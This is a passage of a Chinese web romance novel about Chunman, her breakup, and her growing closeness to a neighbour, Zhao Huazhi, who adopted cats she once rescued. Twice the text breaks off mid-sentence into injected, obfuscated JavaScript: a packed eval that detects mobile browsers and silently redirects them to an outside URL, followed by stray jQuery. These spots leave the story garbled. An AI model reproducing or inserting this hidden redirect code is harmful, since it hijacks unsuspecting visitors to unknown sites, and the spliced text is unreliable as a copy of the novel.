春满一夜没睡,思绪却格外清醒,“分手吧,祝你早日找到能接受你和异性发小‘恋人未满’状态的结婚对象。一定有人不像我一样,觉得这很恶心。” “或者,我也可以祝你和发小天长地久。” 房间里落针可闻。 像在一块精美的甜品中吃到了一只苍蝇那样恶心。春满最后看房嘉恺一眼,别开了脸,这一刻的失望把四年间的甜蜜记忆全部淹没、摧毁。 ………… 车子越开,天越阴沉,山雨欲来般。 春满先把姜早早送回家,等再驾车回到自己那里,天突然间就放晴了。 春满盯着这川剧变脸般无痕衔接的变化,有片刻的茫然,阳光普照,困扰她的消极情绪同时隔得缥缈遥远。 春满乐观地想,再这么下去,自己的情绪准得可以当天气预报了。 春满把车子熄火,坐在驾驶座上做了会儿思想斗争,拿出手机翻看群消息。 Hazel把房嘉恺骗到度假村是有预谋的,早打好了如何替春满出气的草稿。 虽然没有视频或者录音同步直播,只有零星几条文字转述,春满不难想象到,房嘉恺在一向牙尖嘴利不饶人的Hazel面前讨不到好处。 “以后别这么麻烦了。我不想和他产生更多的交集让问题复杂化。”春满向Hazel如是回了条,收拾东西下车。 停车场空旷安静,脚步重一点都带回音。 春满等电梯时无聊,打算找点事情转移一下注意力,熟练地解锁手机,点进微信,找到一个备注叫“猫猫领养人”的好友,对方的朋友圈动态全部可见,平均每周发两到三条,都是猫咪相关。 春满一年前救治过两只遭受过虐待的流浪猫,两只猫脱离危险后因对环境和人的警惕很难独立生存。 房嘉恺对猫毛过敏,春满没办法养,便通过互联网帮它们找到了领养人。 号主是男性,很细心,陪着两只猫度过了漫长的创伤后应激期。一年过去,两只猫体型上肉眼可见的健康,当初躲闪惧怕的眼神也看不到了,真应了那句——爱会滋养出血肉。 对方半小时前发布了一条动态,春满发现对方搬了新家,两只猫在新家中上蹿下跳,很是自在。 “竟然有一整面墙的猫爬架,你俩也算是嫁进豪门了。”春满戳了戳屏幕,心说。 - 猫爬架安置家里阳光最好的那面墙上,两只猫玩得不亦乐乎,对这一整面墙的活动区域充满新鲜感。 半个小时前,赵华致在自动喂食器放饭的声音中,发完朋友圈,随后端着一杯水,从餐厅岛台走回客厅。 在打游戏的江鎏头也没抬地调侃:“你知道哪类人爱用短视频阴阳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“天谢开发的楼盘,公道地说,还不错。”赵华致觉得江鎏不会无缘无故问这个,“你想做什么?” 江鎏突然站起来,走到没铺地毯的地面上,抽风似的抬脚踩了踩:“你想不想让春满主动来找你?” 赵华致看他。 “很简单。你只需要在家又蹦又跳制造点噪音,春满觉得扰民,一定会上来跟你沟通。”江鎏一打响指,说,“见面的机会这不就来了?当然你觉得这样做不道德,也可以雇我背这个锅,友情价,十万块。” 赵华致无语:“江总,别搞什么VR研究了,去卖剑吧,完全可以一本万利。” 江鎏弯腰,一手捞一只,把两位不情愿被他蹂躏的猫主子抱在臂弯里,掂了掂分量:“那就派它们出场。养兵千日用兵一时,该让它们付点罐头费了。” - 时间线回到半小时后。 空电梯到达停车层,春满吸过猫,彻底忘掉生活中的不愉快。 走进电梯,她琢磨到家先随便垫一下肚子,再给房间做个大扫除,晚些时候处理点工作。 电梯升到一楼,门缓缓打开,春满往旁边让了让。 “才回来?”男声紧劲熟悉。 听到声音,春满才慢了半拍去看进来的住户:“学长?你也住这?” 赵华致提着猫包走进来,虽比不上春满惊讶的程度,俊朗的脸上也是闪过了几分意外情绪。他刷亮了八楼的按钮:“今天刚搬过来。” 春满注意到他要去的楼层,刚要说什么,倏然听到几声低低的猫叫,当即循声望去。 通过猫包视野有限的可视窗,春满能辨认出里面是一只三花和一只缅因,缅因安静,优雅高冷地坐在那里;而三花不停地挠着猫包,脸凑近外凸的可视窗,好奇地往外张望,漂亮的蓝瞳像琥珀。 此前经过反思预设出的冷淡演技没能得到施展,春满先惊后喜,接连两个意外使她只剩“即兴发挥”。 春满紧盯着猫咪,双眼含笑温柔几分,耳畔响起江鎏的声音:“虎皮,冷静一点,你能学学奶油吗。” “?” 听赵华致叫它们名字,春满定睛多观察了一会儿。 “这是你的猫?”她抬头,比得知他是自己楼上住户时还要震惊。 答案显而易见。 赵华致不同于她对这个答案的在意态度,随口道:“在家里撒欢惯了,不喜欢在小空间里待着。你介意我把其中一只抱出来吗?” “……不介意。” 两只猫空间独立,赵华致开了左边的拉链把三花抱出来,用胳膊托着。 春满彻底确定这就是自己一年前救活后、送养的、平时只能通过领养人的朋友圈动态云吸的那只猫。 另一只缅因虽然没看清,但八九不离十也是同一只。 从三花离开猫包那刻起,春满的注意力便没从它身上移开。一如动态中看到的那般,三花毛色发亮,眼珠澄澈,真的被养得很好。 电梯到达七楼,春满还没从震惊中彻底回神,本能地跨出电梯,才转头看回电梯内。 在收进去的梯门滑出来前,赵华致按住开门键,疑惑地对上她的视线,等待着。 春满嘴角动了动,只说了句:“猫咪很可爱。” 赵华致眉梢舒展,唇角微弯:“谢谢。” 回到家后,春满压根忘记自己先前做的计划,坐到沙发上,在微信列表翻到那个领养人,点开朋友圈。 全部都是有关猫的动态,照片、视频,甚至有几组自制表情包。 领养人虽然没有露脸,但大部分视频的背景音里有一个男人的声音。 以前听不觉得,如今带着答案再听,春满很容易确认:是赵华致无疑。 7. 第 7 章 07 确定自己在不知情时,已经拥有赵华致的联系方式,春满并不打算去“相认”。 简单吃了点东西,春满便开电脑处理工作,期间和章啸行通了一次电话。 章啸行很赞同春满的工作方向,并建议她尽快和设备支持方沟通,落实此次合作。 挂断电话,春满盯着好友列表中赵华致的头像,是虎皮和三花以前的合照。 照片中两只猫还比较瘦小,刚恢复正常猫咪的活力。 看了会儿,春满退出微信,映入眼帘的壁纸是春满站在落日中,抱着鱼的照片。 海钓那天赵华致帮她拍的,画面很有电影感。 近日来和赵华致有关的经历一一浮现在春满的脑海中,甚至时间更早的记忆,也不受控制地被回忆起。 良久后,春满点开通讯录,决定通过致电的方式联系赵华致的特助。 - 和赵华致的会面时间约在翌日下午。 赫京集团建在寸土寸金的市中心,星恒虽隶属于赫京,但有自己独立的办公地点。 春满此行聊VR相关的项目,去的是总部,自然遇不到房嘉恺。 “春小姐,赵总正在开会,交代过你过来先到办公室等待。” 大厦二十三层,赵华致的办公室位于中间楼层,一路走来,各部门工作氛围宽松融洽、井然有序。陌生的环境让春满多了些拘谨,听凭接待人员的安排坐在了会客沙发上。 只落春满一个人时,她打量着所在的环境,严肃冰冷的风格,看不出个人特色,或许这本身便是一种特色。 很快她的视线落到对面荣誉展示柜里,一个平平无奇的相框,封着一张三趾滨鹬的照片。 看来赵华致是真的喜欢鸟,那天在鸟类博物院遇到纯属偶然。 秘书按照她的选择送了温水进来,春满微笑着目送她离开,又等了会儿,门口传来说话的男声,她放下杯子,微微坐直了身体。 昨天在电梯里的发现给了春满很大的震撼,夜里做梦时无数现实生活中的情景碎片被打乱、重组,她对惊醒前的最后一个片段印象深刻,是赵华致以房嘉恺式不死心纠缠的狰狞面目,问她:“我一直在找你,你为什么躲着我。” 太阳让荒谬的梦境无处遁形,但惊醒后那片刻的心悸感受仍然清晰。 此时此刻,一想到即将要面对赵华致,春满心情多了些忐忑。 门被推开,探进半个身子的男人顶着一张天性风流的俊脸,一双桃花眼潋滟生姿。 他冲春满笑了下,露出不合时宜的熟络,道:“会议还要开一会,我先带你四处参观一下解解闷。” 是完全陌生的一张脸。 估计是春满脸上疑问的情绪太突出,男人略停顿,补充了句,“差点忘记自我介绍。我叫江鎏,VR部战略执行总裁,赵总跟我说过你的情况。” 春满适才起身,说了句:“麻烦。” 江鎏用一种在社交中会让人感到冒犯的关注度和时长打量春满,从清丽精致的五官到柔软纤细身形,再到浓淡合宜的举止气质。 可谁让他一双深情眼与众不同,更多的是让被关注者感到脸热和羞涩。 大概是春满自小习惯成为焦点,不论是出于样貌,还是才华,抑或者其他因素。 所以这两种情绪春满都没有,她脸上挂着淡淡的礼仪性微笑,灵活应对着包括江鎏在内,各个部门同事或无意或好奇的打量。 赫京市值可观,规模庞大,是一家综合类集团,房地产、商场、酒店、餐饮均有涉猎。 春满跟着江鎏走马观花地看下来,心里对集团的商业版图有了浅显的了解。 最终,江鎏带着春满停在一面荣誉墙前。左半边的组织结构图展示各部门高管的姓名、职务和照片,赵华致位居最顶。右边则是集团团建、年会,以及各大重要商业活动的留影。 江鎏从中挑着重要的,向春满介绍。 春满作为外行人听得云里雾里,但不难抓取到最关键的信息——辉煌的来时路、卓越的领导者。 春满走神时想,姜早早接下来不是要写商战背景的剧本吗,对此一定感兴趣。她拿出手机,问江鎏:“我方便拍几张照片吗?” 江鎏带春满来这里的目的,便是强化她对赵华致的标签和认知,激发女性骨子里天生的慕强心理。 当一个女性开始崇拜一个男性,爱上对方便是水到渠成的事。 江鎏见她虽未明说,但举动已经证明了这个答案——她很感兴趣。 “当然可以。”江鎏深藏功与名地莞尔道。 - 参观最后一程,江鎏将春满带去VR部,让她体验品牌还未正式上市的新产品。 VR主打一个沉浸式体验,江鎏带她简单熟悉后,便退出体验室。 靠在茶水间的吧台上,江鎏刚夸了新来的实习生两句,把小姑娘哄得娇羞起来,隔壁部门主管凑过来。 实习生很知趣地端着马克杯让位,走之前还欢喜地摸了摸自己的耳环。 江鎏跟男性说话时,收敛了身上那股风流潇洒劲儿,正经中夹杂着被赵华致带坏的毒舌人设。 几句过渡的闲话后,主管撞了撞江鎏的胳膊,说到真正目的:“你刚刚带的那个妹妹,单身吗?” 集团上下都知道江鎏女人缘好,妩媚的可爱的,奔放的文艺的,他对女性有着天生的绅士做派,但交流始终保持在表层,很有分寸,从没有深层次的感情纠葛。 江鎏意料之中地笑笑:“单身啊。好看吧?” “介绍介绍,成了给你包大红包。” 江鎏故意卖关子,把手里的冰水,品出了琼浆玉露的格调,半晌才说:“我帮不了。” 同事以为江鎏万花丛中过,也有沾身的时候,没等调侃,只听江鎏解释:“大老板的人,你去问吧。” 那名主管诧异,寻思江鎏口中的大老板,和自己眼中万年单身不近女色的赵总是否是同一人。 - 赵华致结束会议找来时,只看到春满独自在空无一人的房间里,她双眼被VR眼镜遮挡。 白色的机器,最新款的外观和重量已经改良过,但她戴着仍显笨重,只露出下巴和嘴唇这半张脸。 房间内没有电线、收纳箱等障碍物,游戏内也有相应的“红色网格”成像作为墙壁位置的提醒。 她身前的两手分别握着感应手柄,仍然走得小心翼翼。 赵华致知道她不可能摔倒,但在看到春满不知是不是躲避游戏内的什么东西,平地踉跄了一下时,紧张地往前挪了几步,并且抬手,提前做好保护她的准备。 春满有惊无险地站稳,又过了会儿,场景模式结束,她意犹未尽地开始摘固定在头上的眼镜。 懒人式脱戴的设计,很好操作,但仪器的卡扣不知怎的勾到头发。 她独自鼓捣了半天,却不小心扯到发根,疼得嘶了声。 这时,耳畔响起一道低沉的男声。 “我帮你。” 春满不知道赵华致何时出现,也不清楚他此刻在哪里。 在感受到有双手扶住她头上戴着的仪器时,春满尽量减小手臂的活动幅度。 春满散开的头发浓密黑亮,未经烫染的发质健康。 赵华致像不敢随意触碰她般,一视同仁地对待她的头发,小心翼翼地处理缠在卡扣处的几根发丝。 明明很简单的事,春满因为视野不明,感觉格外的漫长。 但好在她很快确定赵华的方位,他 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刚要收起手机,听到赵华致说:“我们是不是还没有微信?要加一下吗?你有什么事可以直接联系我。” ……春满有他的微信了。 再建一个小号似乎过于累赘,而且撒谎的次数多了早晚有圆不回来的时候。 春满看似配合,实则慢吞吞地点开自己的微信名片,让对方扫。 滴一声扫码成功,视线落在手机上的赵华致微微挑了下眉头。很快春满的手机嗡得震一下,是新消息提醒。 赵华致把手机屏幕拿给她看,神色意外:“我们竟然有好友?” 春满虽然预想到这个结果,却没设计好自己该如何反应。她的演技实在是差,只能借着低头查看手机的动作,掩盖掉绝大部分的情绪。 消息是赵华致发来的,一只蓝瞳三花探头探脑的表情包。 “好……好巧。”春满演技拙劣,抬头时,面上露出一个努力自然的笑。 但凡春满没有每条朋友圈动态都点赞,她都可以装得再陌生一点。 “难怪昨天在电梯里,我觉着你的猫眼熟。”春满掩耳盗铃般补充一句,试图让逻辑更加合理。 春满记得当时来接猫咪的,是一个女孩,说自己哥哥有抑郁症,特别喜欢猫猫。 同时女孩把哥哥的微信给春满,方便她了解猫咪近况。 女孩哥哥接到猫咪后,给春满发了一张两只猫在新窝的照片。 出于责任心,春满询问对方养猫的经验,并且列了数条注意事项发过去,还嘱咐如果后期不想养了,不要丢弃,也不要随意找领养人,可以再还给她。 时间过去一个周,一个月,三个月。对方非但没有弃养,反而两只猫的情况越来越好。 对方时不时会问一些养猫的注意事项,春满只要看到便会立刻回他。 之后大概是他越来越得心应手,猫咪在新家完全适应。两人聊天便少了,只落了逢年过节的群发祝福,以及朋友圈的点赞和评论。 “是很巧。”赵华致审视般看了她一眼。 春满顾着弥补自己的演技漏洞,忽略了赵华致同样突兀的表现。 这时,江鎏出现在门口,倚着门框,招呼:“结束了吗?隔壁准备了下午茶,有什么事坐下聊呗。” 春满只觉被解救,逃啊似的结束和赵华致独处。 隔壁小型会议室内,助理把准备的下午茶送进来,琳琅满目,一看就知是精心准备的。 春满道谢后却没动,今天的她比往常要拘谨些。 直至赵华致提醒说:“都不含鸡蛋成分,有喜欢的放心吃。” 春满才动作。 江鎏旁观着两人的互动,在心里轻轻啧了声。 8. 第 8 章 08 江鎏手下的员工好像是万能的,春满提的标准和要求,对方很痛快地答应。到最后春满都要怀疑赵华致到底放了多少预算。 总的来说,双方沟通过程非常顺利,不知不觉一下午过去。 “到下班时间了,我们等会儿边吃边聊。”江鎏停下手上工作,问春满,“不介意吃员工食堂吧?” 如果江鎏兴师动众地订餐厅,春满或许会因为觉得铺张而拒绝,但员工食堂便无所谓:“当然可以。” 食堂有一整层,空间宽敞,没几个人就餐,略显冷清,打菜的档口菜品繁多,但目前只开了几个。 春满不习惯含着食物说话,所以江鎏跟她聊天时,她便把筷子搁下。 江鎏话多,以至于江鎏快吃完了,春满的套餐还是满的。 两人工作相关聊得差不多,赵华致姗姗来迟,去档口打了饭过来。 江鎏起身往旁边平移,把春满对面的位置空出来,招呼赵华致坐:“你可算来了,春满一直等你都没怎么吃。” “我……”春满刚拿起筷子夹了根青菜,闻言,解释也不是,不解释也不是。 赵华致坐下后看了眼她面前的菜品,关心:“不合胃口?” “没,方才只顾着说话了。”春满解释。 赵华致将信将疑,道:“有几个档口甜辣口的菜做得不错,下次你可以换几个菜品尝尝。” “好。” 为了证明自己没嫌弃食堂的饭菜,春满在保证体面形象的同时加快了进食速度。 “是不是有一阵子没团建了。组织去海钓怎么样?”江鎏提议时语气随意,邀请得自然,“春满也算半个我部门的人,到时一块。担心公司没熟人的话,你可以带上闺蜜。花费赵总报销。” 春满哪能厚着脸皮蹭这个福利,说话时又一次把筷子搁下:“你们的团建定在工作日,我应该不方便请假,就不凑热闹了。” 赵华致注意到她这个习惯,横了江鎏一眼,提醒:“先让她吃饭。” 江鎏手指捏在嘴边做了拉拉链的动作,很配合地说:“请。” 餐桌安静下来,江鎏信守承诺,果真等春满餐盘里空了才开口:“春满也是在央大读的大学?那你岂不是大学时就认识华致了?” 让江鎏因她当了好一会儿哑巴,春满心里过意不去,此刻很认真地回答他的问题:“学长比我高两级,我入学时他已经不怎么在学校了。所以没有接触。” 赵华致看了春满一眼,似有话要说。 “按理说校花校草级别的学生,彼此间就算没交集,也该听说过彼此。”江鎏视线从赵华致身上移向春满,合理地分析道,仿佛春满不认识赵华致是一件很不合理的事情。 春满回答得非常干脆:“央大漂亮的女生很多,我算不上校花。不过我入学便听说过学长的很多传闻。” 赵华致盯着春满的眼神深了些:“哦?都是什么传闻。” 春满从记忆中挑了件中规中矩不会出错的:“给学校捐了一栋实验室算不算?” 江鎏笑道:“这么正能量?就没有感情方面的八卦聊一聊? 像春满和江鎏这般斜对过的座次,是一个较为自然放松的社交位置。这种情况下交流时产生的视线交流不显刻意。 但和坐对面的赵华致对上视线沟通时,春满总有一种把现场第三个人排挤在外、不礼貌的别扭感。 春满克制着自己对这种状态的在意,又不得不把话题抛给他:“这估计要当事人自己说了。” 赵华致丝毫没有春满那般紧绷,他除了低头吃饭,便是抬头看她。这高频率的视线,让原本平静的气氛泛起意想不到的波澜。 赵华致明显能察觉到春满正常社交状态下矜持的躲闪。 他语气无奈地回应她的cue:“这个问题当事人也没得说。” 江鎏自带欢快节奏的气场把两人间暂时无解的别扭氛围打碎,他轻啧一声,调侃道:“我们赵总真是难得一见的好男人,二十大几了,初恋还在呢。” 江鎏助攻得直白生硬,赵华致终于偏了一次头,提醒般朝他看了眼。 后者无知无觉,一心将自己真性情人设扮演到底:“春满单身吗?” 两个话题接在一起聊,很容易让人误会下一步就要乱点鸳鸯谱。但江鎏灵就灵在,及时补了句:“刚刚有同事跟我打听你的联系方式,我说我还没有你好友。就算有,也不敢乱给啊。” 江鎏无所顾及地撞上赵华致的目光,挤眉弄眼地邀功,被赵华致回递了个适可而止的眼神。 春满不想把话题让暧昧了聊,用玩笑的语气巧妙地略过这个话题:“是吗?幸好没来得及加你的好友。否则就被你卖了。” 江鎏恢复惯用的语气:“怎么会,我对女生一向袒护。” 注意到食堂人流突然间增大,春满顺势岔开话题,道:“刚刚没看到其他人来吃饭,还以为员工不在公司吃晚饭。” 赵华致抬起手表看眼时间,说:“食堂六点半供应员工餐,现在刚到时间。” 员工下班时间是晚上六点,看此刻的人流量,不少员工选择在下班后在公司加班到用餐时间。 江鎏闲不住,参与话题:“你猜为什么是六点半。” 春满经过一天的接触跟江鎏熟悉,说话时很放松,没避讳直接问道:“隐性延长员工工作时间?” “嗯哼。不止如此。”见春满露出疑惑神情,江鎏说,“这里一大半员工吃完饭还会回去加班。” 江鎏说得太玄乎,春满好奇:“赫京的加班费很高吗?” “正常标准。”江鎏笑了笑,揭晓原因,“但是九点后打车会有额外补贴。” “懂了。”心机深重的资本家。 江鎏仿佛会读心术一般,哈哈笑着,歪身往旁边人身上一靠:“赵总,从她的眼神能看出,她正在心里吐槽制定这些规则的你。” 赵华致冷淡地看江鎏:“那你猜猜,我现在的眼神是什么意思?” 江鎏笑:“谁知道呢,但肯定不是让我从眼前消失的意思。” “看来你理解能力不太准。”赵华致回。 春满安静地听两人斗嘴,突然记起几天前在姜早早提醒下回忆起的那件事—— “你还记得以前咋俩上学时很喜欢的那个美妆博主塌房的事吗?” “小青梨?大一的事了吧。”春满想了想,回答。她们刚开始化妆时一些化妆品选择和化妆技巧都是跟着这个博主学的。 “对,大一暑假。” 那个夏天,网红小青梨当第三者插足别人感情的新闻一经爆出,在她们宿舍引起了不小的讨论。 所以虽已过去多年,春满大致仍有印象。 小青梨自身关注度高,牵扯的又是国民喜闻乐见的富商出轨话题,加上被爆插足对象是赫京旗下轻奢彩妆品牌珂兰公司的副总,不仅小青梨的事业毁了,珂兰乃至赫京的股价一度跌停,讨论度居高不下。 珂兰连续三年市场低沉,口碑崩坏,官网、旗舰店评论常见差评,出现“售价贵质量次”的市场印象,高管丑闻因此成了消费者攻击发泄的集火点。 但是这场闹剧没有等来简单的澄清、道歉、律师函。被资本以私生活不检点、黑历史成堆为理由推出来挡枪的小青梨站出来爆料,自己与某总并非情人和出轨方的关系,而是合作。她爆出某总利用珂兰的原材料和生产线搞小动作,保留珂兰的设计,但去掉珂兰的logo,换个名字和外包装进行销售。这个偷子品牌因物美价廉月订单上千万,远超珂兰,而且口碑极佳。某总还猖狂地放言,假以时日,投资品牌将取代珂兰。 珂兰品牌方第一时间发布声明,表明维护消费者利益,严打违法犯罪行为的态度。 吃瓜群众随着热度一起散去,但珂兰的内部整顿才刚刚开始。走私的、受贿的、监管不到位的,连抓带罚,惩治了不少人。 珂兰为了挽回品牌形象,更是开通三年内消费订单无条件退款的通道。 如今,兰西子这个品牌仅仅是经典商业案例记录中冷冰冰的文字,而珂兰的发展蒸蒸日上,前景一年比一年光明。 “这件事和赵华致有关?” “聪明。” 姜早早近些日子在准备一个商战剧本的素材,因此了解得更深些,清了清嗓子,说:“赵华致当时也才大一,趁暑假到彩妆分部学习管理事务,同时拔除集团内扎根已久的蛀虫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14467360|154274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。料到高层会防着他,安排辅佐的人不可信,但没想到办公室被安装了监听设备,他在做什么要做什么都在被人的掌控去,根本接触不到真相,甚至被骗着签署有巨大漏洞的合同,让他承担巨额损失的责任。总之过程险象环生,最终靠赵华致私下联合记者和专业团队暗访、蹲守近半个月才一点点摸清。事情败露后,董事会的股东们为保证股价还想内部解决,是赵华致为了维护律法公正和消费者权益,从小青梨和某总的关系作为切入口给公司施压,通过司法监督拔除毒瘤。如今赵华致身边信得过的左膀右臂,都是从那时就跟着他的。” “一个合格上位者的谋略和野心是我等寻常人想不到的。”当时在场且对这件事的细节更为清楚的薛引章如是总结道。 ………… 赵华致并不知道自己在春满心中的商人形象一点点变得丰满。 江鎏接了通电话提前离席,走之前一定要让春满多体验一项员工福利:“要不还是别给你补贴打车费了,直接让赵总送。蹭老板的车不比打出租车舒服。” 说着他偏头问赵华致:“赵总,能送吗?” 春满想拒绝都没来得及。 赵华致率先开口:“可以。” 从食堂离开时只有春满和赵华致两人。赵华致发消息给司机备车,春满觉得这待遇太隆重,想制止。赵华致表示:“司机开车,麻烦不到我。” 少了江鎏密集的话题输出,两人间的氛围格外安静。 下到负一层,春满在车库整齐排布的私家车中,看到了赵华致的辉腾。 司机从车上下来,为她拉开副驾后座的车门。 赵华致上车后跟司机说了声“回家”,司机视线才从车内后视镜上移开,发动车子,缓缓开出车库。 春满慢半拍意识到,自己需要说点什么向司机明确一下,她坐在这里是为了回自己家,而不是去赵华致的家。 只不过没等春满开口,她看到赵华致手中拿起的平板显示的似乎是工作报表。春满不好打扰,便拿出手机,无聊地玩了会儿。 大概刚从工作环境中出来,春满把自己摆在下属的位置上,连带着赵华致也没找到平等交流的方向。 旁边空间安安静静,赵华致划了几下屏幕,停下动作,复而抬头,仿佛只是想确认人还在不在这里似的。 长街霓虹如银河,璀璨星云一直在后退,车内光线不明,不断有路灯照进来又划走,抓不住,留不下,这仓促逝去的光亮,平白将女人清丽的脸庞渲染得文艺。 春满身形清瘦,规矩地坐在那,却有种温柔的韧劲。 对面的车窗玻璃上,相距甚远的两人影子却微妙地重叠,难掩亲昵。 若撞上目光,那他便与她聊聊猫好了。 一秒、两秒,十秒,一分钟。除了跃动的发梢,春满整个人坐在那悄然不动,头都没偏一下。 他准备好的借口派不上用场。 车外熟悉的景致提醒着春满即将到达目的地,她才从自己的世界中回神,活动下肩膀,盯着前方路况看了会儿,隐约觉察旁边有道目光。 她偏头看向赵华致,只见他双手交叠放在膝上,不知看了多久工作报告,似是疲惫,正合眼小憩。 这是春满第一次直白又认真地观察他的长相。浓眉、直鼻、薄唇,脸庞轮廓锋利流畅。车内光线不明,却恰如其分,衬得他五官尤其立体俊朗。 也是这一刻,春满在他高处不胜寒的气质中,窥到了些许孤独和悲伤。 辉腾到达目的地,过小区地下车库的闸口时,欢迎回家的机械音响起。男人深邃的眉宇微动,似有睁眼的征兆。 在视线撞上前,春满仓促正回脸。 车子开进停车位,春满临下车前,朝前排的驾驶座望了眼,解开安全带的动作略一顿了,倏然开口强调道:“你刚搬来这个小区,有添加业主群吗?我好像没在群里见过你。小区休息日经常办活动,挺有意思的,你可以加一下。” 赵华致停下放平板的动作,深深地看了春满一眼,淡声:“是吗?那麻烦你拉我进群。” “没问题。”春满应着,低头操作手机时,身心轻松了不少。 这下旁人总不能还误会吧。 9. 第 9 章 09 春满回到家中,开灯后,关窗帘时,才注意到外面不知何时刮起了大风,树木斜斜地摇晃,小区内挂着宣传横幅猎猎作响。 阴云积聚在头顶的天空,春满仿佛隔着玻璃嗅到空气中压抑、沉闷的气息。 她突然不知道该做什么,毫无目的地在房间里踱来走去。 电话铃声乍响,才意识到自己走神许久。 姜早早雀跃热烈的声音从手机里传出来,询问她有关化妆品上市前进行动物测试的现象。 春满不知道她这是有了什么创作灵感来寻求专业角度的思考,早已习以为常。 都是些信手拈来的专业常识,春满三心二意地回答着,丝毫不影响其准确性。 姜早早问题倒豆子似的,问得起劲。春满只觉胸口压着一团上不来下不去的气,郁闷得难受。 走进浴室放热水,准备泡个澡时,春满透过没来得及拉窗帘的通风窗,发现外面不知什么时候竟然开始下雨了。 瓢泼如注的暴雨。 俗话说人一辈子只活几个瞬间,而春满人生中,很多个带着痛感的瞬间都和暴雨有关。 春满隔着厚重的、浓墨般的雨幕,好像看到耐心耗尽的成年男人把七岁的春满从那个只比她大两岁、但足足高出一个头的少年身上用力地“撕”下来。 默剧一般,只能看到女孩泪水夺眶流出,嘴巴张着,嘴唇颤抖。 被男人用蛮力拉拽的少年拧过头,踉跄着迈出很远的距离,都没能挣脱,最终被塞进车里。 春满追着那辆豪华锃亮的私家车,跑了很久,鞋子跑掉了一只,浑身湿透。 雨幕淅淅沥沥,下得敷衍又潦草,好像是小了。 很快闪电晃过眼帘,震天的雷声带来新一轮强降雨。 雨水绵延,洪涝一般,隔世经年,记忆未曾败给时间,但时间也没赢过记忆,不死不休,互相折磨。 幕布重而响,人声像鼓钟,沉闷惊心。 原来她讨厌暴雨天,不仅是因为房嘉恺。 ………… 眼前所有光亮灭掉的那瞬,春满失手碰掉了一个杯子。 与陶瓷杯摔碎的声音一同响起的,是姜早早焦急的担心:“怎么了?” 春满用手机的光朝地板上看了看,没急着收拾,摸索着回到客厅,在沙发上坐好,平静地表述:“没事,家里突然停电,我不小心摔了个杯子。” 姜早早沉默两秒,估计也觉得老天对春满实在不仁慈,暴雨夜停电,生怕她忘掉心里的痛似的。 “你先找物业问问供电的事,我现在出发过去陪你。如果今晚一直不来电,你来我家住。”姜早早没给春满拒绝的机会,丢下一句“不准拒绝我,我出门了”,便挂断电话。 春满只得发消息提醒她路上慢点,然后联系物业。 窗外风雨如晦,雨势依旧激烈。 春满仿佛置身在不久前台风天停电的夜晚,她因为失望和疲惫躺在床上,房嘉恺轻声唤了她几声没得到回应便放心地起身。 一片漆黑中,春满只听到房嘉恺窸窸窣窣换鞋子、开门关门离开的声音。 那一晚她是怎么度过的?每一分每一秒都陷入对房嘉恺的期待和怀疑中,都沉浸在自我质询和反思中。 风大了又小,雨势减弱又变大。 四年的感情只用了一夜时间,便消耗殆尽。 房间里传来“嘀——”的一声,是供电系统恢复,室内重新灯火通明。 春满轻轻吐了口气,从沙发上起身,去卫生间清理地板上的陶瓷碎片。 感觉上距离挂断姜早早的电话只过去几分钟,门铃声响起时,春满心里纳闷她怎么来得这么快,开门前先看了看猫眼,当即怔住。 春满慢了半拍把门拉开,门外赵华致手里提着猫包和一个装着猫粮猫砂和宠物玩具的手提袋。 “打扰你休息了吗?抱歉。”赵华致抬了抬手臂,让春满看清包里的两只猫,说,“我临时要出门,这样的天气它们自己待在家里容易应激,你方便帮忙照顾一晚吗?” 防盗门慢悠悠地敞开更大的幅度,赵华致站在门外,很有分寸地不多张望,注意力专注地停留在春满身上。 屋里的灯光是温馨的暖色,公摊区域的白炽灯明亮却冰冷。两人一里一外站着,春满垂眼观察着包内探头探脑的小生物,突然忽略了天际的惊雷和瓢泼的大雨。 赵华致见她迟迟没回答,便说:“是有些冒昧,不方便也没关系。我继续联系附近的宠物店。” “不会。”生怕赵华致反悔似的,春满眉眼弯起笑了下,说,“我很乐意。” 如果不是怕赵华致感到莫名其妙,春满真想说一句“谢谢”。 赵华致如释重负地做交接:“那我明早来接它们。” 送走赵华致,春满拉开猫包拉链,用猫条把它们吸引出来,帮助它们适应环境。 春满和这两只猫很有渊源,但它们估计早不记得春满是谁了。 好在虎皮性格外露,对环境充满好奇,很快开始巡视领地;奶油偏高冷,吃完猫条后便在原地坐在,专注地舔毛,好像无所谓自己在哪里似的。 春满边用废纸箱做了个简易的猫砂盆,边观察着它们。 能看出赵华致这两年把他们养的很好,毛发雪亮柔顺,性子或灵动或傲慢,早没了当年被欺负时的胆怯模样。 春满腾出手,拿起手机想给猫咪拍照片,看到姜早早几分钟前发来的消息,说自己车子好好地停在车库,被撞了。 春满忙打过电话问了情况,并让她不用冒雨来陪她,给她拍了家里的猫,说自己要帮邻居伺候猫主子,没空胡思乱想。 姜早早听她语气不像是装的,跟着一块吸了吸猫,放下心。 夜渐深,雷声却不消停。 春满记着赵华致说的猫咪对雷声应激的事,在旁边观察了好一会儿,确认没什么大碍才放心。 夜里两只猫和她一起睡在卧室,春满夜里醒了两次,是浅睡眠时有意识地苏醒,心里记挂着猫咪应激的事,听到雷声和暴雨拍在玻璃上的声音,罕见地没有厌恶,一心摸着黑观察两只猫的状态。 确认它们没有异样后,春满心无杂念地睡去。 一夜好眠。 翌日一早,暴雨冲洗过的城市焕然一新,天空格外的蓝。 来接猫的赵华致按响楼下邻居的门铃,两只中较活泼的虎皮仿佛预感到是主人,在门被拉开的瞬间便蹿出去,赵华致反应也快,熟能生巧般用脚勾住它拦下,用手托着抱起来。 